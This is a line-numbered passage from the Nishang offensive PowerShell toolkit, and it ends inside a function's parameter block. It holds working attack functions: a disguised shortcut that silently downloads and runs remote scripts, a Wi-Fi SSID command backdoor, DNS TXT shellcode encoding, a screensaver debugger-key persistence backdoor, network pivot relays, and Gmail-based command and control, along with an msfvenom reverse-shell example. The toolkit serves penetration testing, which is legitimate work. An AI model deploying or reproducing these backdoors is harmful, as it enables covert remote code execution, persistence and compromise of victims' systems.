4956function Out-Shortcut
4957{
4958<#
4959.SYNOPSIS
4960Nishang script which creates a shortcut capable of launching PowerShell commands and scripts.
4961.DESCRIPTION
4962The script generates a shortcut (.lnk). When a target opens the shortcut, the predefined powershell scripts and/or commands get executed.
4963A hotkey for the shortcut could also be generated. Also, the icon of the shortcut could be set too.
4964.PARAMETER Payload
4965Payload which you want execute on the target.
4966.PARAMETER PayloadURL
4967URL of the powershell script which would be executed on the target.
4968.PARAMETER Arguments
4969Arguments to the powershell script to be executed on the target.
4970.PARAMETER OutputPath
4971Path to the .lnk file to be generated. Default is with the name Shortcut to File Server.lnk in the current directory.
4972.PARAMETER Hotkey
4973The Hotkey to be assigned to the shortcut. Default is F5.
4974.PARAMETER Icon
4975The Icon to be assigned to the generated shortcut. Default is that of explorer.exe
4976.EXAMPLE
4977PS > Out-Shortcut -Payload "-WindowStyle hidden -ExecutionPolicy Bypass -noprofile -noexit -c Get-ChildItem"
4978Above command would execute Get-ChildItem on the target machine when the shortcut is opened. Note that powershell.exe is
4979not a part of the payload as the shortcut already points to it.
4980.EXAMPLE
4981PS > Out-Shortcut -PayloadURL http://192.168.254.1/Get-Wlan-Keys.ps1
4982Use above command to generate a Shortcut which download and execute the given powershell script in memory on target.
4983.EXAMPLE
4984PS > Out-Shortcut -Payload "-EncodedCommand <>"
4985Use above command to generate a Shortcut which executes the given encoded command/script.
4986Use Invoke-Encode from Nishang to encode the command or script.
4987.EXAMPLE
4988PS > Out-Shortcut -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check-VM
4989Use above command to pass an argument to the powershell script/module.
4990.EXAMPLE
4991PS > Out-Shortcut -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check-VM -HotKey 'F3'
4992Use above command to assign F3 as hotkey to the shortcut
4993.EXAMPLE
4994PS > Out-Shortcut -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check-VM -HotKey 'F3' -Icon 'notepad.exe'
4995Use above command to assign notepad icon to the generated shortcut.
4996.LINK
4997http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html
4998https://github.com/samratashok/nishang
4999http://blog.trendmicro.com/trendlabs-security-intelligence/black-magic-windows-powershell-used-again-in-new-attack/
5000#>
5001 [CmdletBinding()] Param(
5002 [Parameter(Position = 0, Mandatory = $False)]
5003 [String]
5004 $Payload,
5005
5006 [Parameter(Position = 1, Mandatory = $False)]
5007 [String]
5008 $PayloadURL,
5009
5010
5011 [Parameter(Position = 2, Mandatory = $False)]
5012 [String]
5013 $Arguments,
5014
5015 [Parameter(Position = 3, Mandatory = $False)]
5016 [String]
5017 $OutputPath = "$pwd\Shortcut to File Server.lnk",
5018
5019 [Parameter(Position = 4, Mandatory = $False)]
5020 [String]
5021 $HotKey = 'F5',
5022
5023
5024 [Parameter(Position = 5, Mandatory = $False)]
5025 [String]
5026 $Icon='explorer.exe'
5027
5028
5029
5030
5031 )
5032 if(!$Payload)
5033 {
5034 $Payload = " -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('$PayloadURL'));$Arguments"
5035 }
5036 $WshShell = New-Object -comObject WScript.Shell
5037 $Shortcut = $WshShell.CreateShortcut($OutputPath)
5038 $Shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
5039 $Shortcut.Description = "Shortcut to Windows Update Commandline"
5040 $Shortcut.WindowStyle = 7
5041 $Shortcut.Hotkey = $HotKey
5042 $Shortcut.IconLocation = "$Icon,0"
5043 $Shortcut.Arguments = $Payload
5044 $Shortcut.Save()
5045 Write-Output "The Shortcut file has been written as $OutputPath"
5046
5047}
5048##################################End of Client Side Attack functions###############################
5049
5050##################################### Gupt Backdoor #################################################
5051function Gupt-Backdoor
5052{
5053<#
5054.SYNOPSIS
5055Gupt is a backdoor in Nishang which could execute commands and scripts from specially crafted Wireless Network Names.
5056.DESCRIPTION
5057Gupt looks for a specially crafted Wireless Network Name/SSID from list of all avaliable networks. It matches first four characters of
5058each SSID with the parameter MagicString. On a match, if the 5th character is a 'c', rest of the SSID name is considered to be a command and
5059exeucted. If the 5th character is a 'u', rest of the SSID is considered the id part of Google URL Shortener and a script is downloaded and
5060executed in memory from the URL. See examples for usage.
5061Gupt does not connect to any Wireless network and this makes it more stealthy and helps in bypassing network traffic monitoring.
5062.PARAMETER MagicString
5063The string which Gupt would compare with the available SSIDs.
5064.PARAMETER Arguments
5065Arguments to pass to a downloaded script.
5066.EXAMPLE
5067PS > Gupt-Backdoor -MagicString op3n -Verbose
5068In above, Gupt will look for an SSID starting with "op3n". To execute whoami on the target, the wireless network name should be "op3ncwhoami".
5069PS > Gupt-Backdoor -MagicString op3n -Verbose
5070In above, Gupt will look for an SSID starting with "op3n". To execute a powershell script on the target, the wireless network name should be
5071"op3nunJEuug". Here, Gupt will use of characters after the 5th one and make the URL http://goo.gl/nJEuug. A script hosted at the URL resolved
5072by the Google shortener would be downloaded and executed.
5073.LINK
5074http://www.labofapenetrationtester.com/2014/08/Introducing-Gupt.html
5075https://github.com/samratashok/nishang
5076#>
5077 [CmdletBinding()] Param(
5078
5079 [Parameter(Position=0, Mandatory = $True)]
5080 [String]
5081 $MagicString,
5082
5083 [Parameter(Position=3, Mandatory = $False)]
5084 [String]
5085 $Arguments
5086
5087 )
5088 #Get list of available Wlan networks
5089 while($True)
5090 {
5091 Write-Verbose "Checking wireless networks for instructions."
5092 $networks = Invoke-Expression "netsh wlan show network"
5093 $ssid = $networks | Select-String "SSID"
5094 $NetworkNames = $ssid -replace ".*:" -replace " "
5095 ForEach ($network in $NetworkNames)
5096 {
5097 #Check if the first four characters of our SSID matches the given MagicString
5098 if ($network.Substring(0,4) -match $MagicString.Substring(0,4))
5099 {
5100 Write-Verbose "Found a network with instructions!"
5101 #If the netowrk SSID contains fifth chracter "u", it means rest of the SSID is a URL
5102 if ($network.Substring(4)[0] -eq "u")
5103 {
5104 Write-Verbose "Downloading the attack script and executing it in memory."
5105 $PayloadURL = "http://goo.gl/" + $network.Substring(5)
5106 $webclient = New-Object System.Net.WebClient
5107 Invoke-Expression $webclient.DownloadString($PayloadURL)
5108 if ($Arguments)
5109 {
5110 Invoke-Expression $Arguments
5111 }
5112 Start-Sleep -Seconds 10
5113 }
5114 elseif ($network.Substring(4)[0] -eq "c")
5115 {
5116 $cmd = $network.Substring(5)
5117 if ($cmd -eq "exit")
5118 {
5119 break
5120 }
5121 Write-Verbose "Command `"$cmd`" found. Executing it."
5122 Invoke-Expression $cmd
5123 Start-Sleep -Seconds 10
5124 }
5125 }
5126 }
5127 Start-Sleep -Seconds 5
5128 }
5129}
5130
5131###################################Function for generating encoded DNS TXT Records###########################
5132function Out-DnsTxt
5133{
5134<#
5135.SYNOPSIS
5136Script for Nishang to generate DNS TXT records which could be used with other scripts.
5137.DESCRIPTION
5138Use this script to generate DNS TXT records to be used with DNS_TXT_Pwnage and Execute-DNSTXT-Code.
5139The script asks for a path to a plain file or string, compresses and encodes it and writes to a file "encodedtxt.txt" in the current working directory.
5140Each line in the generated file is a DNS TXT record to be saved in separate subbdomain.
5141The length of DNS TXT records is assumed to be 255 characters by the script.
5142.PARAMETER DataToEncode
5143The path of the file to be decoded. Use with -IsString to enter a string.
5144.PARAMETER OutputFilePath
5145The path of the output file. Default is "encodedtxt.txt" in the current working directory.
5146.PARAMETER $LengthOfTXT
5147The length of the TXT records. Default is 255.
5148.PARAMETER IsString
5149Use this to specify the command to be encoded if you are passing a string in place of a filepath.
5150.EXAMPLE
5151PS > OUT-DNSTXT -DataToEncode C:\nishang\Gather\Get-Information.ps1
5152Use above command to generate encoded DNS TXT records. Each record must be put in a separate subdomain.
5153.EXAMPLE
5154PS > OUT-DNSTXT "Get-Service" -IsString
5155Use above to generate TXT records for a command.
5156.EXAMPLE
5157PS > OUT-DNSTXT -DataToEncode C:\shellcode\shellcode.txt
5158Use above command to generate encoded DNS TXT records for a shellcode. Each record must be put in a separate subdomain.
5159.LINK
5160http://www.labofapenetrationtester.com/2015/01/fun-with-dns-txt-records-and-powershell.html
5161https://github.com/samratashok/nishang
5162#>
5163 [CmdletBinding()] Param(
5164 [Parameter(Position = 0, Mandatory = $True)]
5165 [String]
5166 $DataToEncode,
5167
5168 [Parameter(Position = 1, Mandatory = $False)]
5169 [String]
5170 $OutputFilePath = "$pwd\encodedtxt.txt",
5171
5172 [Parameter(Mandatory = $False)]
5173 [String]
5174 $LengthOfTXT = 255,
5175
5176 [Switch]
5177 $IsString
5178 )
5179 if($IsString -eq $true)
5180 {
5181
5182 $Enc = $DataToEncode
5183
5184 }
5185 else
5186 {
5187 $Enc = Get-Content $DataToEncode -Encoding Ascii
5188 }
5189
5190 #Compression logic from http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
5191 $ms = New-Object IO.MemoryStream
5192 $action = [IO.Compression.CompressionMode]::Compress
5193 $cs = New-Object IO.Compression.DeflateStream ($ms,$action)
5194 $sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)
5195 $Enc | ForEach-Object {$sw.WriteLine($_)}
5196 $sw.Close()
5197 # Base64 encode stream
5198 $Compressed = [Convert]::ToBase64String($ms.ToArray())
5199 $index = [math]::floor($Compressed.Length/$LengthOfTXT)
5200 $i = 0
5201 Out-File -InputObject $null -FilePath $OutputFilePath
5202 #Split encoded input in strings of 255 characters if its length is more than 255.
5203 if ($Compressed.Length -gt $LengthOfTXT)
5204 {
5205 while ($i -lt $index )
5206 {
5207 $TXTRecord = $Compressed.Substring($i*$LengthOfTXT,$LengthOfTXT)
5208 $i +=1
5209 Out-File -InputObject $TXTRecord -FilePath $OutputFilePath -Append
5210 Out-File -InputObject "`n`n`n" -FilePath $OutputFilePath -Append
5211 }
5212 $remainingindex = $Compressed.Length%$LengthOfTXT
5213 if ($remainingindex -ne 0)
5214 {
5215 $TXTRecord = $Compressed.Substring($index*$LengthOfTXT, $remainingindex)
5216 $TotalRecords = $index + 1
5217 }
5218 #Write to file
5219 Out-File -InputObject $TXTRecord -FilePath $OutputFilePath -Append
5220 Write-Output "You need to create $TotalRecords TXT records."
5221 Write-Output "All TXT Records written to $OutputFilePath"
5222 }
5223 #If the input has small length, it could be used in a single subdomain.
5224 else
5225 {
5226 Write-Output "TXT Record could fit in single subdomain."
5227 Write-Output $Compressed
5228 Out-File -InputObject $Compressed -FilePath $OutputFilePath -Append
5229 Write-Output "TXT Records written to $OutputFilePath"
5230 }
5231
5232
5233}
5234
5235##########################################Function for adding screensaver backdoor###########################################
5236function Add-ScrnSaveBackdoor
5237{
5238<#
5239.SYNOPSIS
5240Nishang Script which could set Debugger registry keys for a screensaver to remotely execute commands and scripts.
5241.DESCRIPTION
5242The script reads the value of Windows registry key HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
5243to check for the existing Screensaver. If none exists, one from the default ones which exist in C:\Windows\System32 is used.
5244A Debugger to the screensaver is created at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\.
5245It is the value of the "Debugger" to this key where it writes the payload. A screensaver selected from the default ones is added to this payload.
5246When the payload is executed, the screensaver also runs after it to make it appear legit. Change the contents of the payload URL
5247to execute different scripts using the same backdoor.
5248.PARAMETER Payload
5249Payload which you want execute on the target.
5250.PARAMETER PayloadURL
5251URL of the powershell script which would be executed on the target.
5252.PARAMETER Arguments
5253Arguments to the powershell script to be executed on the target.
5254.PARAMETER NewScreenSaver
5255Full path to the screensaver to be used if none is being used. Default is C:\Windows\System32\Ribbons.scr
5256.EXAMPLE
5257PS > Add-ScrnSaveBackdoor -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process"
5258Use above command to provide your own payload to be executed.
5259.EXAMPLE
5260PS > Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/FireBuster.ps1 -Arguments "FireBuster 192.168.254.1 8440-8445"
5261Use above to execute FireBuster from Nishang for Egress Testing.
5262.EXAMPLE
5263PS > Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor "http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis
5264Use above to execute HTTP-Backdoor from Powerpreter
5265.EXAMPLE
5266PS > Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.ps1
5267Use above to execute an in-memory meterpreter in PowerShell format generated using msfvenom
5268(./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell)
5269.LINK
5270http://www.labofapenetrationtester.com/2015/02/using-windows-screensaver-as-backdoor.html
5271https://github.com/samratashok/nishang
5272#>
5273
5274 [CmdletBinding()] Param(
5275 [Parameter(Position = 0, Mandatory = $False)]
5276 [String]
5277 $Payload,
5278
5279 [Parameter(Position = 1, Mandatory = $False)]
5280 [String]
5281 $PayloadURL,
5282
5283 [Parameter(Position = 2, Mandatory = $False)]
5284 [String]
5285 $Arguments,
5286
5287 [Parameter(Position = 3, Mandatory = $False)]
5288 [String]
5289 $NewScreenSaver = "C:\Windows\System32\Ribbons.scr"
5290 )
5291
5292 #Check if ScreenSaver is enabled
5293 #If no enable it, if yes, get its value
5294 if ((Get-Item "HKCU:\Control Panel\Desktop\").GetValue("SCRNSAVE.EXE") -eq $null)
5295 {
5296 New-ItemProperty "HKCU:\Control Panel\Desktop\" -Name SCRNSAVE.EXE -Value $NewScreenSaver -PropertyType String
5297 $ScreenSaverName = ($NewScreenSaver -split '\\')[-1]
5298 }
5299 else
5300 {
5301 $ScreenSaverName = ((Get-Item "HKCU:\Control Panel\Desktop\").GetValue("SCRNSAVE.EXE") -split '\\')[-1]
5302 }
5303
5304 #Set ScreenSaveTimeOut which is necessary to enable screensaver.
5305 if ((Get-Item "HKCU:\Control Panel\Desktop\").GetValue("ScreenSaveTimeOut") -eq $null)
5306 {
5307 New-ItemProperty "HKCU:\Control Panel\Desktop\" -Name ScreenSaveTimeOut -Value 60 -PropertyType String
5308 }
5309 else
5310 {
5311 Set-ItemProperty "HKCU:\Control Panel\Desktop\" -Name ScreenSaveTimeOut -Value 60
5312 }
5313
5314 #Get a list of default screensavers and select one at random
5315 $ListScrn = Get-ChildItem C:\Windows\System32\*.scr | Where-Object {$_.Name -ne $ScreenSaverName}
5316 $PathToScreensaver = Get-Random $ListScrn
5317
5318 #Add a default screensaver to payload so that it runs after our payload.
5319 if(!$Payload)
5320 {
5321 $RegValue = "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('$PayloadURL'));$Arguments" + ";" + $PathToScreensaver + " /s"
5322 }
5323 elseif ($Payload)
5324 {
5325 $RegValue = $Payload + ";" + $Arguments + ";" + $PathToScreensaver + " /s"
5326 }
5327 #Set Debugger for the ScreenSaver executable
5328 if (Test-Path -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$ScreenSaverName")
5329 {
5330
5331 Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$ScreenSaverName" -Name Debugger -Value $RegValue
5332 Write-Output "Payload added as Debugger for $ScreenSaverName"
5333 }
5334 else
5335 {
5336 New-Item "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$ScreenSaverName"
5337 Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$ScreenSaverName" -Name Debugger -Value $RegValue
5338 Write-Output "Payload added as Debugger for $ScreenSaverName"
5339 }
5340}
5341
5342
5343############################################# Add network relays##########################################
5344function Invoke-NetworkRelay
5345{
5346<#
5347.SYNOPSIS
5348Nishang script which can be used to run netsh port forwarding/relaying commands on remote computers.
5349.DESCRIPTION
5350This script is a wrapper around the netsh Windows command's portproxy functionality. It could be used to create and remove
5351network relays between computers. The script is useful in scenarios when you want to access a port or service running on a
5352target computer which is accessible only through another computer(s) between you and the target computer. Another interesting
5353usecase is when you want to expose a local service to the network.
5354.PARAMETER Relay
5355Specify the type of relay from "v4tov4","v6tov4","v4tov6" and "v6tov6". Default is v4tov4.
5356v4tov4 - Listen on v4 and connect to v4.
5357.PARAMETER ListenAddress
5358The local/listener IP address to which a remote port will be forwarded. Default is 0.0.0.0 (IPv4)
5359.PARAMETER ListenPort
5360The local/listener port to which a remote port will be forwarded. Default is 8888.
5361.PARAMETER ConnectAddress
5362The target/destination IP address whose port will be forwarded/mapped to a local port.
5363.PARAMETER ConnectPort
5364The target/destination port which will be forwarded/mapped to a local port.
5365.PARAMETER ComputerName
5366The name or IP address of the computer where the netsh command would be executed.
5367.PARAMETER UserName
5368Username for the computer specified with the ComputerName parameter.
5369.PARAMETER Password
5370Password for the computer specified with the ComputerName parameter.
5371.PARAMETER Delete
5372Use the Delete switch to delete a network relay specified by above options.
5373.PARAMETER Show
5374Use the Show switch to show all relays on a computer.
5375.EXAMPLE
5376PS > Invoke-NetworkRelay -Relay v4tov4 -ListenAddress 192.168.254.141 -Listenport 8888 -ConnectAddress 192.168.1.22 -ConnectPort 445 -ComputerName 192.168.254.141
5377Add a network relay which listens on IPv4 and connects to IPv4 and forwards port 445 from 192.168.1.22 to port 8888 of 192.168.254.141.
5378.EXAMPLE
5379PS > Invoke-NetworkRelay -Relay v6tov4 -ListenAddress :: -Listenport 8888 -ConnectAddress 192.168.1.22 -ConnectPort 445 -ComputerName 192.168.254.141
5380Add a network relay which listens on IPv6 and connects to IPv4 and forwards port 445 from 192.168.1.22 to port 8888 of 192.168.254.141.
5381.EXAMPLE
5382PS > Invoke-NetworkRelay -Relay v6tov4 -ListenAddress :: -Listenport 8888 -ConnectAddress fe80::19ed:c169:128c:b68d -ConnectPort 445 -ComputerName domainpc -Username bharat\domainuser -Password Password1234
5383Add a network relay which listens on IPv6 and connects to IPv6 and forwards port 445 from fe80::19ed:c169:128c:b68d to port 8888 of domainpc
5384.EXAMPLE
5385PS > Invoke-NetworkRelay -Relay v4tov4 -ListenAddress 192.168.254.141 -Listenport 8888 -ConnectAddress 192.168.1.22 -ConnectPort 445 -ComputerName 192.168.254.141 -Delete
5386Delete the network relay specified by the ListenAddress and Listen Port.
5387.EXAMPLE
5388PS > Invoke-NetworkRelay -ComputerName domainpc -Username bharat\domainuser -Password Password1234 -Show
5389Show all network relays on the domainpc computer
5390.LINK
5391http://www.labofapenetrationtester.com/2015/04/pillage-the-village-powershell-version.html
5392https://github.com/samratashok/nishang
5393#>
5394
5395 [CmdletBinding(DefaultParameterSetName="AddOrDelete")] Param(
5396
5397 [Parameter(Position = 0, Mandatory = $False, ParameterSetName="AddOrDelete")]
5398 [ValidateSet("v4tov4","v6tov4","v4tov6","v6tov6")]
5399 [String]
5400 $Relay="v4tov4",
5401
5402 [Parameter(Position = 1, Mandatory = $False, ParameterSetName="AddOrDelete")]
5403 [String]
5404 $ListenAddress = "0.0.0.0",
5405
5406 [Parameter(Position = 2, Mandatory= $False, ParameterSetName="AddOrDelete")]
5407 [String]
5408 $ListenPort = 8888,
5409
5410 [Parameter(Position = 3, Mandatory = $True, ParameterSetName="AddOrDelete")]
5411 [String]
5412 $ConnectAddress,
5413
5414 [Parameter(Position = 4, Mandatory = $True, ParameterSetName="AddOrDelete")]
5415 [String]
5416 $ConnectPort,
5417
5418 [Parameter(Position = 5, Mandatory = $False, ParameterSetName="AddOrDelete")]
5419 [Parameter(Position = 0, Mandatory = $False, ParameterSetName="Show")]
5420 [String]
5421 $ComputerName,
5422
5423 [Parameter(Position = 6, Mandatory = $False, ParameterSetName="AddOrDelete")]
5424 [Parameter(Position = 1, Mandatory = $False, ParameterSetName="Show")]
5425 $UserName,
5426
5427 [Parameter(Position = 7, Mandatory = $False, ParameterSetName="AddOrDelete")]
5428 [Parameter(Position = 2, Mandatory = $False, ParameterSetName="Show")]
5429 $Password,
5430
5431 [Parameter(Mandatory = $False, ParameterSetName="AddOrDelete")]
5432 [Switch]
5433 $Delete,
5434
5435 [Parameter(Mandatory = $False, ParameterSetName="Show")]
5436 [Switch]
5437 $Show
5438
5439 )
5440
5441
5442 #Check if Username and Password are provided
5443 if ($UserName -and $Password)
5444 {
5445 $SecurePassword = ConvertTo-SecureString $Password -AsPlainText -Force
5446 $Creds = New-Object System.Management.Automation.PSCredential ($UserName, $SecurePassword)
5447 }
5448 else
5449 {
5450 $Creds = $False
5451 }
5452
5453 if ($Show)
5454 {
5455 if ($Creds)
5456 {
5457 Invoke-Command -ScriptBlock {netsh interface portproxy show all} -ComputerName $ComputerName -Credential $Creds
5458 }
5459 else
5460 {
5461 Invoke-Command -ScriptBlock {netsh interface portproxy show all} -ComputerName $ComputerName
5462 }
5463 }
5464
5465 if (!$Delete -and !$Show)
5466 {
5467 #Prepare relay commands
5468 $V4tov4Relay = "netsh interface portproxy add v4tov4 listenport=$ListenPort listenaddress=$ListenAddress connectport=$ConnectPort connectaddress=$ConnectAddress protocol=tcp"
5469 $V6toV4Relay = "netsh interface portproxy add v6tov4 listenport=$ListenPort listenaddress=$ListenAddress connectport=$ConnectPort connectaddress=$ConnectAddress"
5470 $V4tov6Relay = "netsh interface portproxy add v4tov6 listenport=$ListenPort listenaddress=$ListenAddress connectport=$ConnectPort connectaddress=$ConnectAddress"
5471 $V6toV6Relay = "netsh interface portproxy add v6tov6 listenport=$ListenPort listenaddress=$ListenAddress connectport=$ConnectPort connectaddress=$ConnectAddress protocol=tcp"
5472
5473 #Create a scriptblock depending upon the type of relay.
5474 switch ($Relay)
5475 {
5476 "v4tov4"
5477 {
5478 $sb = [ScriptBlock]::Create($V4toV4Relay)
5479 Write-Output "Initiating v4tov4 Relay. Listening on $ListenAddress, Port $ListenPort. Connecting to $Connectaddress, Port $Connectport"
5480 }
5481 "v6tov4"
5482 {
5483 $sb = [ScriptBlock]::Create($V6toV4Relay)
5484 Write-Output "Initiating v6tov4 Relay. Listening on $ListenAddress, Port $ListenPort. Connecting to $Connectaddress, Port $Connectport"
5485 }
5486 "v4tov6"
5487 {
5488 $sb = [ScriptBlock]::Create($V4toV6Relay)
5489 Write-Output "Initiating v4tov6 Relay. Listening on $ListenAddress, Port $ListenPort. Connecting to $Connectaddress, Port $Connectport"
5490 }
5491 "v6tov6"
5492 {
5493 $sb = [ScriptBlock]::Create($V6toV6Relay)
5494 Write-Output "Initiating v6tov6 Relay. Listening on $ListenAddress, Port $ListenPort. Connecting to $Connectaddress, Port $Connectport"
5495 }
5496 }
5497
5498 #Execute the netsh command on remote computer
5499 if ($Creds)
5500 {
5501 Invoke-Command -ScriptBlock $sb -ComputerName $ComputerName -Credential $Creds
5502 Invoke-Command -ScriptBlock {param ($SBRelay) netsh interface portproxy show $SBRelay } -ArgumentList $Relay -ComputerName $ComputerName -Credential $Creds
5503 }
5504 else
5505 {
5506 Invoke-Command -ScriptBlock $sb -ComputerName $ComputerName
5507 Invoke-Command -ScriptBlock {netsh interface portproxy show $Relay } -ComputerName $ComputerName
5508 }
5509 }
5510 if ($Delete)
5511 {
5512 #Relay commands for deletion
5513 $V4tov4Relay = "netsh interface portproxy delete v4tov4 listenport=$ListenPort listenaddress=$ListenAddress protocol=tcp"
5514 $V6toV4Relay = "netsh interface portproxy delete v6tov4 listenport=$ListenPort listenaddress=$ListenAddress"
5515 $V4tov6Relay = "netsh interface portproxy delete v4tov6 listenport=$ListenPort listenaddress=$ListenAddress"
5516 $V6toV6Relay = "netsh interface portproxy delete v6tov6 listenport=$ListenPort listenaddress=$ListenAddress protocol=tcp"
5517
5518 #Create a scriptblock for deleting the relay, depending upon its type.
5519 switch ($Relay)
5520 {
5521 "v4tov4"
5522 {
5523 $sbdelete = [ScriptBlock]::Create($V4toV4Relay)
5524 Write-Output "Deleting v4tov4 Relay which was listening on $ListenAddress, Port $ListenPort and connecting to $Connectaddress, Port $Connectport"
5525 }
5526 "v6tov4"
5527 {
5528 $sbdelete = [ScriptBlock]::Create($V6toV4Relay)
5529 Write-Output "Deleting v6tov4 Relay which was listening on $ListenAddress, Port $ListenPort and connecting to $Connectaddress, Port $Connectport"
5530 }
5531 "v4tov6"
5532 {
5533 $sbdelete = [ScriptBlock]::Create($V4toV6Relay)
5534 Write-Output "Deleting v4tov6 Relay which was listening on $ListenAddress, Port $ListenPort and connecting to $Connectaddress, Port $Connectport"
5535 }
5536 "v6tov6"
5537 {
5538 $sbdelete = [ScriptBlock]::Create($V6toV6Relay)
5539 Write-Output "Deleting v6tov6 Relay which was listening on $ListenAddress, Port $ListenPort and connecting to $Connectaddress, Port $Connectport"
5540 }
5541 }
5542
5543 #Execute the netsh command on remote computer
5544 if ($Creds)
5545 {
5546 Invoke-Command -ScriptBlock $sbdelete -ComputerName $ComputerName -Credential $Creds
5547 Invoke-Command -ScriptBlock {param ($SBRelay) netsh interface portproxy show $SBRelay } -ArgumentList $Relay -ComputerName $ComputerName -Credential $Creds
5548 }
5549 else
5550 {
5551 Invoke-Command -ScriptBlock $sbdelete -ComputerName $ComputerName
5552 Invoke-Command -ScriptBlock {netsh interface portproxy show $Relay } -ComputerName $ComputerName
5553 }
5554 }
5555}
5556
5557
5558########################################## Gcat - Using Gmail for code execution ######################################
5559
5560########################################## Invoke-PSGcat needs to be run on attacker's machine ########################
5561function Invoke-PSGcat
5562{
5563<#
5564.SYNOPSIS
5565Nishang script which can be used to send commands and scripts to Gmail which can then be run on a target using Invoke-PSGcatAgent.
5566.DESCRIPTION
5567This script is capable of sending commands and/or scripts to Gmail. A valid Gmail username and password is required.
5568The command is compressed and base64 encoded and sent to the Gmail account. On the target, Invoke-PsGcatAgent must be executed
5569which will read the last sent command/script, decode it, execute it and send the output back to Gmail.
5570In the Gmail security settings of that account "Access for less secure apps" must be turned on. Make sure that you use
5571a throw away account.
5572In the interactive mode, to execute a script, type "script" at the PsGcat prompt and provide full path to the script.
5573To read output, type "GetOutput" at the PsGcat prompt.
5574Currently, the output is not pretty at all and you will see the script interacting with Gmail IMAP.
5575.PARAMETER Username
5576Username of the Gmail account you want to use.
5577.PARAMETER Password
5578Password of the Gmail account you want to use.
5579.PARAMETER AgentID
5580AgentID is currently unused and would be used with multiple agent support in future.
5581.PARAMETER Payload
5582In Non-interactive mode, the PowerShell command you want to send to the Gmail account.
5583.PARAMETER ScriptPath
5584In Non-interactive mode, the PowerShell script you want to send to the Gmail account.
5585.PARAMETER NonInteractive
5586Use the non-interactive mode. Execute the provided command or payload and exit.
5587.PARAMETER GetOutput
5588Retrieve last ouput from Gmail.
5589.EXAMPLE
5590PS > Invoke-PSGcat -Username psgcatlite -password pspassword
5591Use GetOutput to get output.
5592Use Script to specify a script.
5593PsGcat: Get-Process
5594Command sent to psgcatlite@gmail.com
5595Above shows an example where Get-Process is sent to Gmail.
5596.EXAMPLE
5597PS > Invoke-PSGcat -Username psgcatlite -password pspassword
5598Use GetOutput to get output.
5599Use Script to specify a script.
5600PsGcat: GetOutput
5601-----Lot of IMAP text-----
5602* 8 FETCH (BODY[TEXT] {5206}
5603System.Diagnostics.Process (BTHSAmpPalService) System.Diagnostics
5604.Process (BTHSSecurityMgr) System.Diagnostics.Process (btplayerct
5605rl) System.Diagnostics.Process (capiws) System.Diagnostics.Proces
5606s (conhost) System.Diagnostics.Process (conhost) System.Diagnosti
5607Above shows how to retrieve output from Gmail. Note that the output is ugly and you may need to run GetOutput few times
5608before the complete output is read. Also, the Invoke-PsGcatAgent must execute the command before an output could be retrieved.
5609.EXAMPLE
5610PS > Invoke-PSGcat -Username psgcatlite -password pspassword
5611Use GetOutput to get output.
5612Use Script to specify a script.
5613PsGcat: script
5614Provide complete path to the PowerShell script.: C:\test\reverse_powershell.ps1
5615Command sent to psgcatlite@gmail.com
5616Use GetOutput to get output.
5617Use above to send a PowerShell script to the Gmail account. Script execution is not very reliable right now and you may see
5618the agent struggling to pull a big encoded script. Also, make sure that the function call for script is done from the
5619script itself.
5620.EXAMPLE
5621PS > Invoke-PSGcat -Username psgcatlite -password pspassword -Payload Get-Service -NonInteractive
5622Send a command to the Gmail account without any interaction.
5623.EXAMPLE
5624PS > Invoke-PSGcat -Username psgcatlite -password pspassword -ScriptPath C:\test\reverse_powershell.ps1 -NonInteractive
5625Send a script to the Gmail account without any interaction.
5626.EXAMPLE
5627PS > Invoke-PSGcat -Username psgcatlite -password pspassword -GetOutput
5628Get output from the gmail account.
5629.LINK
5630http://www.labofapenetrationtester.com/2015/04/pillage-the-village-powershell-version.html
5631https://github.com/samratashok/nishang
5632#>
5633 [CmdletBinding(DefaultParameterSetName="Interactive")] Param(
5634
5635 [Parameter(Position = 0, Mandatory = $false, ParameterSetName="Interactive")]
5636 [Parameter(Position = 0, Mandatory = $false, ParameterSetName="NonInteractive")]
5637 [String]
5638 $Username,
5639
5640 [Parameter(Position = 1, Mandatory = $false, ParameterSetName="Interactive")]
5641 [Parameter(Position = 1, Mandatory = $false, ParameterSetName="NonInteractive")]
5642 [String]
5643 $Password,
5644
5645 [Parameter(Position = 2, Mandatory = $false, ParameterSetName="Interactive")]
5646 [Parameter(Position = 2, Mandatory = $false, ParameterSetName="NonInteractive")]
5647 [String]
5648 $AgentID,
5649
5650 [Parameter(Position = 3, Mandatory = $false, ParameterSetName="NonInteractive")]
5651 [String]
5652 $Payload,
5653
5654 [Parameter(Position = 4, Mandatory = $false, ParameterSetName="NonInteractive")]
5655 [String]
5656 $ScriptPath,
5657
5658 [Parameter(Mandatory = $false, ParameterSetName="NonInteractive")]
5659 [Switch]
5660 $NonInteractive,
5661
5662 [Parameter(Mandatory = $false)]
5663 [Switch]
5664 $GetOutput
5665
5666 )
